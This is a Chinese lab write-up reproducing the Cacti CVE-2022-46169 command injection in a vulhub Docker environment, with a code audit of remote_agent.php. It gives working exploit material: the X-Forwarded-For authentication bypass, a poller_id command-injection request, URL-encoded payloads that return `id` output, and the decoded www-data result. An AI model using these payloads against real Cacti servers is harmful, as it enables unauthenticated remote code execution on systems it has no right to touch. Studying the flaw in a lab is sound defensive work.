复现cacti的RCE

一.准备工作

1.安装doker
复制代码
curl -fsSL https://get.docker.com | sh

并验证docker是否正确安装和检验docker compose是否可用

复制代码
docker version
docker compose version
2.克隆仓库
复制代码
git clone https://github.com/vulhub/vulhub.git

注:若不能拉取仓库,使用proxychains

复制代码
proxychains git clone https://github.com/vulhub/vulhub.git
3.选择要使用的漏洞环境
复制代码
cd vulhub/cacti/CVE-2022-46169
4.启动漏洞环境
5.通过浏览器访问漏洞应用程序
6.在docker容器中安装xdebug并启用扩展
复制代码
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
7.随后重启容器并更改配置文件
复制代码
docker restart <your-container> 
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容

复制代码
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
8.使用vscode连接容器并安装xdebug插件

二.代码审计

通过官方文档给出的信息来看,漏洞文件来自remote_agent.php

当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数

php 复制代码
 if (!remote_client_authorized()) {
     print 'FATAL: You are not authorized to use this service';
     exit;
 }

而因为get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data函数中触发

php 复制代码
switch (get_request_var('action')) {
	case 'polldata':
		// Only let realtime polling run for a short time
		ini_set('max_execution_time', read_config_option('script_timeout'));

		debug('Start: Poling Data for Realtime');
		poll_for_data();
		debug('End: Poling Data for Realtime');

		break;
	case 'runquery':
		debug('Start: Running Data Query');
		run_remote_data_query();
		debug('End: Running Data Query');

		break;
	case 'ping':
		debug('Start: Pinging Device');
		ping_device();
		debug('End: Pinging Device');

		break;
	case 'snmpget':
		debug('Start: Performing SNMP Get Request');
		get_snmp_data();
		debug('End: Performing SNMP Get Request');

		break;
	case 'snmpwalk':
		debug('Start: Performing SNMP Walk Request');
		get_snmp_data_walk();
		debug('End: Performing SNMP Walk Request');

		break;
	case 'graph_json':
		debug('Start: Performing Graph Request');
		get_graph_data();
		debug('End: Performing Graph Request');

		break;
	case 'discover':
		debug('Start:Performing Network Discovery Request');
		run_remote_discovery();
		debug('End:Performing Network Discovery Request');

		break;
	default:
		if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {
			debug('WARNING: Unknown Agent Request');
			print 'Unknown Agent Request';
		}
}
function get_request_var($name, $default = '') {
     global $_CACTI_REQUEST;
     $log_validation = read_config_option('log_validation');
     if (isset($_CACTI_REQUEST[$name])) {
         return $_CACTI_REQUEST[$name];
     } elseif (isset_request_var($name)) {
         if ($log_validation == 'on') {
             html_log_input_error($name);
         }
         set_request_var($name, $_REQUEST[$name]);
         return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行
     } else {
         return $default;
     }
 }

而在 **poll_for_data();**函数中,有三个请求

所以需要使用get传递三个参数

action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'

因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功

通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端

随后我们在remote_client_authorized() 函数中插入print_r(client_addr);**获取**client_addr** 的值是否为127.0.0.1和**print_r(client_name); 打印出client_name 值是否为hostname 并用**exit;**中断程序

发送后可以看到值完全符合

而在functions.php 文件中有关于 get_client_addr函数

php 复制代码
function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

目前该函数中,client_addrX-Forwarded-For 走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给**$client_addr**我们可以将其打印出来,这样更清晰的显示出来

跟预期一样,由此可知hostname 就是localhost

php 复制代码
	$client_name = gethostbyaddr($client_addr);
	print_r($client_name);exit;
	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

由于**client_name** 不等于**client_addr** 也就是我们的localhost 不等于127.0.0.1因此会跳入else,remote_agent_strip_domain 这个过滤函数只过滤.因此localhost 会正常返回,返回出来依然是localhost

php 复制代码
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

pollers** 里的**hostname** 在数据库表中为**localhost** 与**client_name 的值localhost 相等因此会返回true ,至此if鉴权函数已经绕过

只要有success,代码即执行成功

action 由于是get 传参因此用户可控,当action=polldata 才能触发case 'polldata' 执行**poll_for_data();**代码

**function poll_for_data()**函数中传递了三个参数:

  • 第一行代码传数组**[0]=6** 数组只有一个元素6
  • 第二行代码传参1
  • 第三行代码传命令执行如**touch+/tmp/success**
php 复制代码
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();
	print_r($local_data_ids);
	print_r($host_id);
	print_r($poller_id);exit;

开始遍历

php 复制代码
$items = db_fetch_assoc_prepared('SELECT *
        FROM poller_item
        WHERE host_id = ?
        AND local_data_id = ?',
        array($host_id, $local_data_id));

通过第一个if查询到数组为

sql 复制代码
       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-25 06:10:01
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
                arg2:
                arg3:

第二次遍历

php 复制代码
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?
				AND action = 2',
				array($host_id, $local_data_id));

将数组里的action 取出,值为2

由于POLLER_ACTION_SCRIPT_PHP 值为2 ,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP

进入到该case中进行第一个if函数

php 复制代码
if (function_exists('proc_open')) {
    $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
    $output = fgets($pipes[1], 1024);
    $using_proc_function = true;
} else {
        $using_proc_function = false;
}

通过该代码的read_config_option('path_php_binary') 取出php路径执行**/usr/local/bin/php -q script_server.php realtime** touch /tmp/success

现在进行回显

php 复制代码
function is_hexadecimal($result) {
	$hexstr = str_replace(array(' ', '-'), ':', trim($result));

	$parts = explode(':', $hexstr);
	foreach($parts as $part) {
		if (strlen($part) != 2) {
			return false;
		}
		if (ctype_xdigit($part) == false) {
			return false;
		}
	}

	return true;
}

执行以下三条命令任意一条,将其进行urlenode编码

php 复制代码
|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

%7Cecho%20%22test%5Cr%5Cn%20%3A%60id%20%7C%20base64%20-w0%60%22%3B

最后可以得到回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK

最后进行base64解码

得到结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

相关推荐
conkl1 分钟前
构建 P2P 网络与分布式下载系统:从底层原理到安装和功能实现
linux·运维·网络·分布式·网络协议·算法·p2p
笙囧同学2 小时前
基于大数据技术的疾病预警系统:从数据预处理到机器学习的完整实践(后附下载链接)
大数据·网络·机器学习
盖雅工场3 小时前
零工合规挑战:盖雅以智能安全体系重构企业用工风控
网络·安全·重构
厦门辰迈智慧科技有限公司5 小时前
排水管网实时监测筑牢城市安全防线
网络·物联网·安全·自动化·监测
爱吃小白兔的猫7 小时前
【基础篇三】WebSocket:实时通信的革命
网络·websocket·网络协议
21号 17 小时前
4.应用层自定义协议与序列化
运维·服务器·网络
云畅新视界7 小时前
HOTDOG构建“IP×用户”共创生态,激活数字文化新势能
网络·网络协议·tcp/ip
无线图像传输研究探索7 小时前
单兵图传终端:移动场景中的 “实时感知神经”
网络·人工智能·5g·无线图传·5g单兵图传
深蓝海拓7 小时前
通信名词解释:I2C、USART、SPI、RS232、RS485、CAN、TCP/IP、SOCKET、modbus等
网络·网络协议·tcp/ip
xx.ii8 小时前
4.Linux 应用程序的安装和管理
linux·服务器·网络